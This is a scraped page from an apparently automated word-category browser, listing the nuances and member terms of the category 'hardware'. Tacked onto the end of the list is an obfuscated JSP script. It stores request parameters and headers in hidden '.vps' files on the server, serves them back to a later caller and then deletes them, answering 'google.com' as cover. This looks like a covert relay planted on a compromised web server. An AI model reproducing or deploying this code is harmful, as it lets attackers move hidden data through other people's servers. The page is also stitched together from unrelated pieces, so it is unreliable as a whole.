Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
signal_line
with head word
hardware
:
physical:hardware,
Category Nuances matching
hardware
:
clinical,
military,
dedicated,
complex,
metal,
miscellaneous,
experimental,
everyday,
external,
astronomical,
outside,
automotive,
orthopaedic,
advanced,
expensive,
interior,
sophisticated,
new,
urban,
audiovisual,
digital,
special,
exposed,
commercial,
complementary,
decorative,
active,
basic,
loose,
mounted,
peripheral,
electronic,
extra,
common,
permanent,
changing,
marine,
costly,
standard,
restrictive,
seasonal,
auxiliary,
interesting,
big,
removable,
little,
capable,
residential,
necessary,
flexible,
modern,
electrical,
noisy,
midi,
remote,
needed,
electromechanical,
convenient,
extensive,
hydraulic,
older,
conventional,
embedded,
level,
controlled,
ferrous,
abstract,
analog,
painted,
japanese,
neighboring,
centralized,
technological,
internal,
durable,
obsolete,
shiny,
long,
underlying,
technical,
iron,
motor,
local,
real,
simple,
sundry,
mechanical,
up,
discrete,
wan,
difficult,
additional,
current,
bulky,
cultural,
consumable,
interactive,
unsightly,
visible,
logical,
incidental,
industrial,
vital,
compatible,
ancillary,
cosmetic,
radio,
detachable,
powerful,
secure,
cryogenic,
key,
planar,
medical,
traditional,
instrumental,
wireless,
dental,
original,
metallic,
structural,
base,
diverse,
extraneous,
reliable,
static,
old,
photographic,
small,
personal,
actual,
virtual,
intermediate,
odd,
minor,
working,
plain,
conductive,
sensitive,
unique,
required,
main,
right,
outboard,
silver,
random,
scientific,
broken,
over,
shared,
broadband,
functional,
optional,
typical,
appropriate,
specialized,
portable,
free,
surgical,
primitive,
electric,
critical,
inexpensive,
alternative,
complicated,
specialised,
crucial,
major,
world,
supporting,
plastic,
strong,
related,
computational,
architectural,
accessible,
ergonomic,
essential,
lightweight,
resistant,
heavy,
optical,
raw,
stereo,
surrounding,
relevant,
bad,
mobile,
proprietary,
light,
physical,
individual,
penetrating,
important,
protective,
missing,
good,
practical,
Members for simple category
hardware
:
lisp_machine,
lateral_arms,
bolt,
gin_pole,
screw,
microphone_jacks,
printer,
tank,
telephone,
nuclear_submarine,
aircraft_autopilot,
shaft,
stereo_glasses,
bike_rack,
computer,
embedded_ram,
communications_equipment,
instruction_cache,
x-ray_scanner,
passage_set,
lan_equipment,
dowel,
des_chip,
winch,
memory,
biometric-identification_system,
washer,
facsimile_machine,
scanner,
anchor,
servo,
router,
grounds,
radar_set,
video_matrix,
network_appliance,
assembly,
adding_memory,
cable_tie,
stylus_pen,
rendering_engine,
snoopy_cache,
touchscreen,
output_multiplexer,
rectangular_base,
rear_axle,
fisheye_lens,
phone,
deadbolt,
robotic_system,
gauge,
fingerprint_sensor,
thermostat,
radar,
sensor,
seeker_system,
camcorder,
kick_plate,
malice_clip,
phase_separator,
bar-code_font,
working_weapon,
valve,
latest_pc,
unsigned_shift,
metal_plate,
removable_medium,
evaluation_board,
communications_links,
stove,
portable_laser,
flapper_valve,
blower,
instruction_decoder,
inductor,
automotive_ignition,
na_devices,
tower,
cylinder,
jeep,
electrical_connection,
generator,
intelligent_camera,
midi_module,
sink,
electrical_terminal,
spike,
splicing_equipment,
toiletry_shelf,
adaptive_keyboard,
lan_adapter,
splicing,
vernier_spectrometer,
terminal,
mold,
rocket_motor,
crimp_sleeve,
monitoring_equipment,
atm_switch,
cooking_pot,
ethernet_card,
prism,
toy,
edge_server,
auxiliary_lock,
electric_lock,
key_switch,
store,
telecom,
stealth-fighter_jet,
transport,
predator_drone,
server_cabinet,
pendent_drop,
new_mouse,
pump,
shared_disk,
loop,
rack,
goggles,
trigger_guard,
silver_zipper,
safe,
adjustable_sprocket,
professional_server,
no_keyboard,
modem,
transport_aircraft,
multiple_microphone,
converter,
strap_button,
stainless_steel,
battleship,
logic_analyzer,
automobile,
deck_screw,
dell_server,
field_connector,
curtain_track,
marine_hardware,
flash,
attack_helicopter,
wifi_component,
internal_modem,
cyclone_tie,
lense,
brakes,
frequency_measure,
slot,
power_panel,
new_computer,
related_driver,
controller,
aerial,
web_cam,
output_card,
memory_elements,
wire,
mailbox,
block,
windows,
transformer,
matrix,
internet_router,
thermal_sensor,
cisco_router,
video_card,
blade_server,
loudspeaker,
flight-control_computer,
connection_wire,
dial,
digital_mixer,
desktop_pc,
relay,
volume_pedal,
veto_counter,
block_ram,
armoured_vehicle,
turntable,
lan,
dust_cap,
optional_winch,
cpu,
transport_plane,
swell_shutter,
electronic_box,
control_register,
slower_cpu,
token,
cleat,
cryptographic_dongle,
cellular_phone,
truck,
special_screen,
membrane_keypad,
tv_tuner,
analog_demodulator,
dvd_system,
memory_component,
gas,
wireless_mouse,
charge_amplifier,
component_trip,
array_processor,
cradle,
machine,
body_hardware,
timer,
safety,
dedicated_server,
mine,
headset,
sound_card,
military_vehicle,
system_memory,
multiple_connection,
signal_generator,
pulse_oximeter,
ground_radar,
orinoco_card,
microprocessor,
robot,
adjustable_plunger,
automatic_extractor,
glasses,
shower-curtain_rod,
plane,
audio,
motion_detector,
table,
tray,
fastener_screw,
spring,
disk_storage,
driver,
airplane,
speaker,
shutter_dog,
new_memory,
internet,
video-game_machine,
terminator_adapter,
handheld_computer,
casket,
storage_array,
computer_line,
aircraft,
pocket_computer,
actual_wire,
subscriber_circuit,
guard_receiver,
self_checkout,
smart_card,
backup_server,
keel,
wing,
camera,
instrumentation,
denture,
cooling,
diode,
graphics_memory,
peripheral,
electronic_compass,
battery_rack,
workstation,
electronic_system,
trackball,
hard_disk,
plug,
flush_valve,
pointing_device,
grenade,
flat,
network_analyzer,
vcr,
furniture_hook,
device,
laser_scanner,
expansion_card,
stainless-steel_fastener,
cabinet_hinge,
lighting,
network_equipment,
eye_scanner,
bridge,
tube_sheet,
remote_window,
filter_wheel,
needle,
scsi_controller,
instrument,
cable,
builder_hardware,
submarine,
input_switch,
ethernet_switch,
control_horn,
tablet_pc,
jet_fighter,
bolt_kit,
window_guard,
tee,
new_server,
flight_hardware,
serial_devices,
host_computer,
gun,
distance_sensor,
power_switch,
electrical_tape,
capacity_plate,
metal_washer,
peripheral_device,
apc,
large_mainframe,
pc_platform,
additional_ram,
kitchenware,
bollard,
television,
data_card,
oscilloscope,
electronic_storage,
heat_pipe,
wireless_laptop,
handheld_telephone,
shackle,
digital_camera,
detent_pin,
foot,
musical_keyboard,
smart_clip,
heavy_firearm,
video_scanner,
distributor_tray,
pedicle_screw,
skin_connector,
fruit_plate,
missile_launcher,
sequencer,
network_firewall,
abb_controller,
desktop,
cookware,
dirty_bit,
frequency_clock,
desktop_machine,
signal_line,
sprocket,
butt_plate,
system,
virtual_machine,
regulator,
enamelware,
new_cpu,
helicopter,
color_printer,
strobe,
sophisticated_display,
brass_hardware,
slate_pc,
brass_screw,
server,
additional_wheel,
development_kit,
silver_chain,
grating,
plotter,
alternator,
video_cap,
overhead_camera,
cd_rom,
transportable_pen,
destroyer,
airport_network,
architectural_hardware,
projector,
flashlight,
microscope,
access_point,
pan,
chain,
palm_pilot,
portable_computer,
roll_pin,
deck_cleats,
turnbuckle,
rocket,
missile_cruiser,
thruster,
iris_scanner,
vessel,
smart_storage,
simple_microprocessor,
head,
digital_display,
certain_pump,
teleprompter,
hp_server,
surgical_prosthesis,
fax,
armored_vehicle,
lineman_tool,
security,
fuel_tank,
socket,
defibrillator,
header,
wire_loom,
sound_equipment,
atm_network,
lcd,
receipt_printer,
radio_hardware,
sherman_tank,
composite_tank,
multiple_camera,
larger_battery,
new_printer,
raid_controller,
equipment_container,
feature_phone,
sign_bracket,
scsi_drive,
door_hardware,
wireless,
fuel_pump,
spray,
parallel_workstation,
directional_coupler,
dvd_rom,
bus_adapter,
cuff,
shotgun,
telecommunication_system,
flatbed_scanner,
recording_devices,
multiple_processor,
knife,
fighter,
bit,
axle,
carabiner,
fixation_plate,
filter,
reservoir,
machine_cycle,
soho_buckle,
point,
line,
system_board,
lure,
frame_switch,
network_router,
faucet,
metal_pin,
receiver,
autopilot_system,
nitrogen_generator,
wireless_router,
machinery,
access_control,
specialized_server,
ship,
dvd,
mainframe,
antenna,
patriot_missile,
electronic_control,
strainer,
stereo,
ad_converter,
screen,
balloon,
pager,
closet_rod,
visual_display,
wireless_modem,
ipod_video,
x_terminal,
watchdog_timer,
storage_controller,
video_terminal,
lcd_projector,
gear,
phone_switch,
storage_router,
vertical_screen,
light_timer,
communications_internet,
power_amplifier,
thin_client,
wrist_guard,
warehouse_shelf,
aluminum_scaffolding,
storage_server,
transmission,
ethernet_modem,
faucet_valve,
ring_binder,
warship,
bracing_component,
video_recorder,
belt,
door_hinge,
net,
optical_system,
propeller,
clip,
component,
memory_controller,
locomotive,
tissue_holder,
instruction_processor,
chemical_laser,
multiple_modem,
snap,
naval_ship,
small_arms,
trash_receptacle,
push_plate,
audio_control,
condenser,
lunar_lander,
belt_strap,
thrust_adapter,
fax_machine,
torpedo,
center_column,
annotation_system,
pulley,
retrofit_hardware,
bar-code_scanner,
cabinet_pull,
heartbeat_connection,
button,
processor,
light_stack,
tripod,
risc_processor,
apple_tv,
parallel_port,
gasket,
scsi,
standard_pedestal,
spatial_filter,
running-board_hardware,
bathroom_accessory,
fingerprint_scanner,
munition,
window_spring,
disk_array,
fighter_jet,
gps_module,
ballast,
stringer,
war_ship,
buffer,
cable_box,
notebook_pc,
application_server,
pc_card,
additional_memory,
body_harness,
lookup_table,
effect_processor,
plasma_sprayer,
basic_stamp,
crossbar,
ram,
key_fastener,
metal_wire,
second,
pot,
artillery_system,
memory_ram,
remote,
rotor,
bearing,
electric_cable,
proprietary_card,
aluminum_pistol,
priority_register,
hydraulic_actuator,
soldier_radio,
blade_system,
control_head,
network_controller,
vacuum_system,
site_staff,
daemon_tool,
cyclone_rod,
dsl_modem,
clevis,
dsl_line,
rod,
na_system,
transmitter,
test_kit,
microcomputer,
computer_processor,
game_control,
extension,
nuclear_weapon,
network_port,
diskette,
network,
crimp_terminal,
coil_system,
vector_processor,
teller_devices,
cell_processor,
protective_foot,
raid_card,
digital_filter,
gps_antenna,
parallel_machine,
multiplexer,
throw_bolt,
solar_panel,
leash,
baggage,
inclinometer,
memory_circuit,
cam,
similar_device,
faster_cpu,
hold_back,
building_core,
artillery,
wall_slot,
furniture,
antenna_array,
cafe_chip,
toilet-tissue_holder,
communication_devices,
card,
junction,
print_server,
sheet-metal_screw,
wand,
graphics_card,
fifo_buffer,
web_camera,
tv,
switching_gear,
appliance_hardware,
floss_dispenser,
floppy,
bronze_hardware,
hasp,
selector,
electrical_lead,
dat,
needle_transducer,
battery_box,
brass,
po_printer,
printed-circuit_board,
metallic_plate,
torque_sensor,
color_camera,
paperclip,
cell_phone,
video_control,
extra_stage,
floppy_drive,
potentiometer,
buckle,
digital_transmitter,
thunder_bolt,
cast-iron_radiator,
satellite_instrumentation,
automatic_weapon,
mirror_mount,
photocopy_machine,
scaler,
mount,
beam_chopper,
thermometer,
fuse,
attenuator,
mooring_cleats,
sound_module,
ethernet_hardware,
smart_phone,
bomb,
computer_cart,
system-clock_generator,
serial_line,
pole,
camera_phone,
counter,
program_memory,
pacemaker,
ethernet,
ekg_machine,
nail,
tuna_tower,
crash_sensor,
wing_spoiler,
midi_controller,
radioactive_material,
pc,
graphic_adapter,
padlock,
earphone,
handheld_devices,
bridge_support,
scale,
igniter_plug,
seat,
mouse,
register,
record_deck,
joystick,
shop-floor_klaxon,
archival_system,
ram_chip,
collapsible_pin,
pintle,
starter,
mixer,
tube,
pole_rod,
contemporary_pda,
cache_memory,
automatic_machine,
chair,
ham_radio,
l_bracket,
rotary_lock,
microchip,
heater,
emergency_push,
vane_assembly,
accelerator,
sea_mine,
shared_server,
interface_cable,
power_link,
fastener,
portable_drive,
dredger,
box,
plasma_display,
rifle,
litterbin,
primary,
jukebox,
adder,
pencil,
respirator,
lan_switch,
permanent_pacemaker,
coupler,
ultima_box,
conductor_hardware,
junction_box,
network_drop,
led,
air-defense_equipment,
sidewinder_missile,
grommet,
fighter_plane,
graphics_processor,
computer_desktop,
cellphone,
risc_pc,
busbar,
push_rod,
input_multiplexer,
optical_detector,
military_vessel,
digitiser,
solenoid_valve,
ultrasound_sensor,
rechargeable_battery,
jumper,
external_drive,
peripheral_circuit,
multimedia_input,
temperature_sensor,
transducer_sled,
caster,
nylon_fastener,
adapter,
dongle,
game_machine,
surrounding_buffer,
appropriate_lock,
dvd_burner,
thumbtack,
fitting,
toothbrush_holder,
drum_machine,
notebook,
display_equipment,
telephony_card,
lcd_driver,
serial_interface,
linear_actuator,
symbol_generator,
pc_component,
flash_gun,
dvd_drive,
graphics_accelerator,
laptop,
inverter,
single_server,
serial_terminal,
interface,
mini_speaker,
cleats,
armature,
concealed_hinge,
drawer,
imaging_system,
bath_hardware,
ethernet_port,
case,
atm,
propeller_blade,
jack_socket,
simple_webcam,
bracket,
frequency_scanner,
mirror_potentiometer,
high-quality_video,
d_converter,
steel_pipe,
commercial_computer,
printer_port,
switching_valve,
voltage_driver,
light_dimmer,
bone_plate,
shutter_glasses,
adapter_card,
propane_tank,
chip_card,
disk_tower,
cd,
rod_hardware,
keyboard,
injector,
metering_valve,
concept_keyboard,
cash_drawers,
wire_clip,
data_glove,
composite_bow,
door_chains,
nuclear_missile,
pda,
center_cap,
personality_eprom,
pear_links,
wave_keyboard,
new_terminal,
extension_interface,
door_pull,
expanded_keyboard,
partition_card,
communication_port,
water-level_actuator,
carrier_card,
damper,
base,
optical_instrument,
arm,
graphic_calculator,
ipod,
archive_server,
pointer,
equipment,
clutch,
cooling_fan,
links,
wireless_card,
video_deck,
heavy_aircraft,
water_container,
radio_modem,
channel_mixer,
meter,
door_lock,
atomic_weapon,
wireless_equipment,
new_card,
videodisk,
drive,
retaining_clip,
solenoid,
pull,
solar_array,
chains,
cotter_pin,
voicemail_card,
exchange_file,
servo_driver,
bypass_devices,
front_panel,
telecommunication_equipment,
wheel_cylinder,
brake,
solid-state_devices,
glass,
bath,
accumulator,
less_memory,
hinge_strap,
supersonic_missile,
fence_staple,
pottery,
motion_base,
digital_synthesizer,
trailer_hitch,
external_devices,
door_knocker,
hydraulic_pump,
larger_antenna,
hinge,
cast-iron_bath,
repeater,
light,
ventilator,
ammunition,
rom,
plate,
visual_equipment,
disk_devices,
net_card,
liquid-nitrogen_dewar,
satellite,
rotary_joint,
staple,
staircase_component,
steel,
fuel-line_retainer,
network_printer,
game,
raid_storage,
scalpel,
calculator,
rudder,
artificial_joint,
raid_disk,
radio,
framing_hardware,
motor,
ic_card,
walkman,
cart,
panel_screw,
gps_equipment,
demand_controller,
precision_sensor,
frequency_synthesizer,
wlan_card,
scissors,
extra_ram,
thimble,
steel_cleats,
klystron_tube,
broadband_interface,
trim_coil,
blade,
rusty_hinge,
defective_memory,
webcam,
eye_cover,
spade_connector,
branch_predictor,
graphics_workstation,
humvee,
cage,
supercomputer,
assault_helicopter,
metal_chains,
stable_oscillator,
bronze_oarlock,
microphone,
hook,
embedded_system,
word_clock,
gps,
suture_anchor,
isolation_bearing,
network_card,
electronic_circuit,
tuner,
vise,
harness,
cinema_equipment,
swash_plate,
analog_input,
electronic_token,
strap,
new_peripheral,
graphic_card,
powerful_microprocessor,
washbasin,
network_interface,
kitchen_hardware,
casket_hardware,
missile,
video,
lever_set,
tweezer,
barbed_wire,
current_transformer,
removable_denture,
physical_cable,
rudder_tab,
epos_equipment,
postscript_printer,
single_transistor,
stepper_motor,
wiper,
crayon,
motion_sensor,
control_line,
cord,
medical_devices,
digitizer,
slower_processor,
subtracter,
spray_bar,
actuator,
compressor,
video_camera,
wall_mount,
faster_processor,
satellite_dish,
loading_system,
designer_pull,
lid_prop,
band,
memory_medium,
card_cage,
interval_timer,
sound_device,
dedicated_laptop,
weapon,
night-vision_goggles,
lead,
antenna_component,
shaper,
tissue_cover,
coil,
fender,
additional_pc,
wheel,
metal_hinge,
crown,
enlarger,
smaller_screen,
feeder,
load,
delivery_system,
document_scanner,
copier,
round_base,
detector_component,
collector,
sense_antenna,
roller-bearing_block,
test_board,
china,
lock,
disk,
accelerometer,
remote_router,
communications_devices,
color_screen,
small_camera,
drawer_pull,
sound_detector,
gas_cylinder,
graphics_adapter,
semiconductor,
tool,
network_adapter,
storage,
battery,
resistor,
steps,
display_register,
spacecraft,
adjunct_switch,
third,
cabinet,
remote_computer,
jumper_wire,
pony_bag,
army_helicopter,
directional_antenna,
n_device,
hand_microphone,
hard_drive,
active_antenna,
key_storage,
fan,
actual_system,
port,
nylon_fitting,
bus,
tactile_display,
personal_computer,
less_storage,
boot_scraper,
memory_module,
tv_card,
enclosure_material,
key,
cylindrical_lock,
interference_screw,
combat_aircraft,
horn,
fin,
gates,
memory_card,
joint_prosthesis,
common_nail,
thumb_drive,
extension_port,
centrifuge,
proprietary_telephone,
shared_storage,
lcd_display,
set,
lighting_rig,
custom_antenna,
industrial_equipment,
long_bolt,
cable_modem,
video_devices,
tv_decoder,
dish,
arms,
acoustic_coupler,
steel_column,
spring_hinge,
engineering_equipment,
language_master,
engine,
headphone,
safety_switch,
ordinary_laptop,
special_router,
exercise_equipment,
external_memory,
interface_module,
key_stock,
service_processor,
cache,
anchor_bolt,
fax_modem,
video_camcorder,
annunciator,
big_screen,
crystal,
data_interface,
extra_processor,
status_register,
interactive_pager,
demodulation_circuit,
analog_filter,
prosthesis,
optical_drive,
industrial_pc,
stereoscopic_display,
display,
copy_network,
memory_stick,
tape,
munition_storage,
additional_processor,
artillery_gun,
pin,
circuit,
soft_phone,
amplifier,
furling_gear,
gps_receiver,
lock_striker,
cap,
extension_lead,
video_transmitter,
simple_hardware,
forceps,
control,
floating_point,
flow_control,
turbine,
environmental_sensor,
pipe,
optical_sensor,
fast_cpu,
paper_holder,
burglar_lock,
cordless_telephone,
detection,
filling,
support,
operational_amplifier,
rubber,
tie_back,
aileron,
lever,
retainer,
scsi_card,
switching_relay,
input,
interface_hardware,
static_generator,
display_driver,
amp_speaker,
switch_box,
collimator,
bumper,
laser,
industrial_modem,
similar_devices,
hex_bolt,
dsl,
null_lense,
wire_suture,
reference_bit,
spinner,
computer_disk,
analogue_indicator,
ball_screw,
flush_mount,
sword,
support_bracket,
backup_devices,
data_storage,
decoding_box,
wifi_equipment,
capacitor,
speakerphone,
surface_bolt,
rectifier,
light_controller,
compact_disk,
mobile_cart,
medium_decoder,
test_box,
embedded_controller,
standard_pc,
binoculars,
network_cable,
thermal_radiator,
sun_workstation,
industrial_tool,
multimedia_card,
over_ethernet,
optical_lense,
cardiac_pacemaker,
switch,
diskette_drive,
retail_automation,
zipper,
simulator,
pocket_pc,
servo_equipment,
wall_track,
ph_meter,
keypad,
mirror,
buck,
chip_set,
haptic_interface,
door_bolt,
circuitry,
audio_card,
video_converter,
brigade_set,
external_converter,
oscillator,
key_plate,
container,
post,
mobile_telephone,
joint,
binocular_display,
air_brakes,
pump_valve,
radio-transmitter_array,
laundry_machine,
shutter,
connector_plug,
synthesizer,
stern_light,
maneuvering_system,
conveyor_beam,
concertina_wire,
radiator,
reflector_dish,
modern_bomber,
zero_fighter,
ps_pump,
spectrophotometer,
panel,
chock_fairlead,
wheel_pin,
devices,
motor_starter,
firewall,
gps_device,
connector,
pull_tab,
trunk,
internet_cable,
real-time_clock,
telecommunication,
glove,
audio_interface,
multiprocessor,
format_converter,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>